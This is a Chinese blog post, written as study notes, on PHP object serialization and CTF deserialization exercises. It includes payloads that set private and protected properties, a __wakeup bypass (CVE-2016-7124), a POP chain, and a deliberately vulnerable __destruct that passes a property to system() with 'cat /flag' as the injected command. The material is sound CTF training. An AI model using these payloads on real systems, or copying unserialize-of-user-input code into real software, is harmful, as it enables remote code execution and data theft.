mobile wallpaper 1mobile wallpaper 2mobile wallpaper 3mobile wallpaper 4mobile wallpaper 5mobile wallpaper 6mobile wallpaper 7
617 字
2 分钟
什么?26年还在学古法吗
2026-06-19

最近AI用多了 还得是回归古法

这篇博客记录一下最近重学(以前学的不熟)的东西

会持续更新。。。写到哪算到哪 最近还是很累的

Web#

反序列化#

以前做题时候看过的博客:深度剖析PHP序列化和反序列化 - 悠悠uusama - 博客园 写的挺好的

1.PHP面向对象基础#

<?php
#类 - 实例
#class sample 就像一个模板
#模板上画好了三个空位:name、sex、telenumber
class sample{
#属性 访问修饰符+属性名
public $name; #public:谁都能直接看、直接改
private $sex; #private:#只有自己才能碰,外部和子类都不能直接访问
protected $telenumber; #protected:自己和自己的子类能碰
#函数
public function Ciallo(){
echo "uzcssw" . $this->name;
}
#Ciallo() 就是一个 动作:把字符串 "uzcssw" 和当前这个人的名字拼在一起输出。
#魔术
#构造函数 出生就自动填好的信息 自动化触发
public function __construct($n, $s, $t)
{
$this->name = "$n";
$this->sex = $s;
$this->telenumber = $t;
}
#析构函数 销毁前说的最后一句话
#实例回收/销毁时候自动调用 (page执行结束时候)
public function __destruct()
{
echo "ciallo...";
}
#当一个对象不再使用(比如脚本结束)时,会自动说一句 "ciallo..."。
}
#继承
class sample1 extends sample{
public function accessCiallo(){
echo $this->telenumber;
}
#sample1 extends sample 意思是 sample1 是 sample 的“儿子”
#它拥有老爸的所有东西:name、sex、telenumber、Ciallo()、__construct、__destruct
}
#实例-(容纳具体信息的类)
$test = new sample("UZC1", "男", "13800138000"); #实例化
$test->name = "UZC1"; # 访问+修改内容
$test->Ciallo(); #调用
$s1 = new sample1("UZC2", "女", "13912345678");
$s1->Ciallo(); // 输出 uzcsswUZC2
$s1->accessCiallo(); // 输出 13912345678 (可访问 protected 属性)
>

2.序列化和反序列化#

  • 序列化 = 把对象打包成字符串,方便存储和传输。
  • 反序列化 = 把字符串还原成活的对象。

序列化#

// 原来的对象
$test = new sample("UZC1", "男", "13800138000");
// 序列化:变成字符串
$str = serialize($test);
echo $str;

运行后会输出类似这样的字符串:

O:6:"sample":3:{s:4:"name";s:4:"UZC1";s:8:"sample sex";s:3:"男";s:16:"sample telenumber";s:11:"13800138000";}
  • O:6:"sample" — 对象(O),类名6个字符 sample
  • 3 — 3 个属性
  • 接着是每个属性的序列化:
    • s:4:"name"; 属性名是长度4的字符串 name
    • s:4:"UZC1"; 属性值是 UZC1
    • 对于 private 属性 $sex,名字会被加上类名前缀(这里显示 sample sex
    • protected 属性 $telenumber 则会加 * 和类名前缀

注意:虽然 privateprotected 在类外不能直接访问,但序列化时它们的值照样会被存进去,并且能从字符串里看到。所以敏感信息要小心!

反序列化#

// 假设我们拿到了上面的序列化字符串
$str = 'O:6:"sample":3:{s:4:"name";s:4:"UZC1";s:8:"sample sex";s:3:"男";s:16:"sample telenumber";s:11:"13800138000";}';
$newObj = unserialize($str);
// 现在 $newObj 就是个活的对象,和刚才的 $test 一样
$newObj->Ciallo(); // 输出 uzcsswUZC1
echo $newObj->name; // UZC1

再偏CTF一点#

CTF 中通常会故意在魔术方法里放一个危险操作,比如 eval()system()file_get_contents() 等,并且这个危险操作会用到对象的某个属性

比如:

class sample{
public $name;
private $sex;
protected $telenumber;
public function __destruct(){
system($this->name); //这里直接执行了 $name 作为系统命令
}
}

正常你 new sample("UZC1", "男", "13333333333") 是通过构造参数赋值的,$name"UZC1"。 但通过反序列化,可以把 $name 直接改成 “whoami” 甚至 “cat /flag”,而且根本不需要通过构造函数。

操作就是:

  1. 写一个恶意的序列化字符串
  2. 让目标程序去 unserialize
  3. 当这个被污染的对象销毁时,__destruct 执行 system("cat /flag")
最基础的反序列化例题:#
<?php
highlight_file(__FILE__);
class NSS {
var $name;
function __destruct() {
if ($this->name === 'ctf') {
echo getenv('FLAG');
}
}
}
unserialize($_GET['n']);

name的值=ctf就可以拿到flag

<?php
highlight_file(__FILE__);
class NSS {
var $name;
function __destruct() {
if ($this->name === 'ctf') {
echo getenv('FLAG');
}
}
}
$nss= new NSS();
$nss->name='ctf';
echo serialize($nss);

payload:

?n=O:3:"NSS":1:{s:4:"name";s:3:"ctf";}
属性修饰符#
<?php
highlight_file(__FILE__);
class NSS {
private $name;
protected $url;
function __destruct() {
if ($this->name === 'ctf' && $this->url === 'nss') {
echo getenv('FLAG');
}
}
}
unserialize($_GET['n']);

反序列化:

<?php
highlight_file(__FILE__);
class NSS {
private $name = 'ctf';
protected $url = 'nss';
}
$nss= new NSS();
echo serialize($nss);

payload

O:3:"NSS":2:{s:9:"\0NSS\0name";s:3:"ctf";s:6:"\0*\0url";s:3:"nss";}
注意不能丢\0
只用 serialize() 而没有用 urlencode() 保护,传输过程中可能丢失。
所以可以换种写法
<?php
class NSS
{
private $name = 'ctf';
protected $url = 'nss';
}
$nss= new NSS();
echo urlencode(serialize($nss));
这样就会输出urlencode后的payload:O%3A3%3A%22NSS%22%3A2%3A%7Bs%3A9%3A%22%00NSS%00name%22%3Bs%3A3%3A%22ctf%22%3Bs%3A6%3A%22%00%2A%00url%22%3Bs%3A3%3A%22nss%22%3B%7D

拿到flag

__wakeup#
<?php
highlight_file(__FILE__);
class NSS {
var $name;
function __wakeup() {
$this->name = '1';
}
function __destruct() {
if ($this->name === 'ctf') {
echo getenv('FLAG');
}
}
}
unserialize($_GET['n']);

构造

<?php
class NSS {
var $name='ctf';
}
$nss= new NSS();
echo serialize($nss);

这样运行出来结果是:

O:3:"NSS":1:{s:4:"name";s:3:"ctf";}

想要绕过__wakeup只需要把

O:3:"NSS":1:{s:4:"name";s:3:"ctf";} 改成O:3:"NSS":2:{s:4:"name";s:3:"ctf";}

原理是CVE-2016-7124

拿到flag NSSCTF{2b7bf434-b859-43cb-9b2d-d3286c20d3fa}

POP链#
<?php
highlight_file(__FILE__);
class NSS1 {
var $name;
function __destruct() {
echo $this->name;
}
}
class NSS2 {
var $name;
function __toString()
{
echo getenv('FLAG');
}
}
unserialize($_GET['n']);

构造:

<?php
class NSS1 {
var $name;
}
class NSS2 {
var $name;
}
$a = new NSS1();
$b = new NSS2();
$a->name= $b;
echo serialize($a);

输出payload:

O:4:"NSS1":1:{s:4:"name";O:4:"NSS2":1:{s:4:"name";N;}}

拿到flag{4b223dc5-fe7e-4b0a-9765-6f3fb2f9560c}

在这个题里:

  • NSS1__destructecho $this->name,如果 name 是普通字符串,它只是输出字符串;但如果 name 是一个 NSS2 对象,那么 echo 就会触发 NSS2__toString(),从而执行 getenv('FLAG')
  • 所以必须让 $a->name = $b,将 NSS2 对象装入 NSS1 对象,形成链条。

Misc#

图片隐写#

等待施工

音频隐写#

等待施工

分享

如果这篇文章对你有帮助,欢迎分享给更多人!

什么?26年还在学古法吗
http://blog.azkanna.cn/posts/古法/古法记录/
作者
AzazelKanna
发布于
2026-06-19
许可协议
CC BY-NC-SA 4.0

部分信息可能已经过时

目录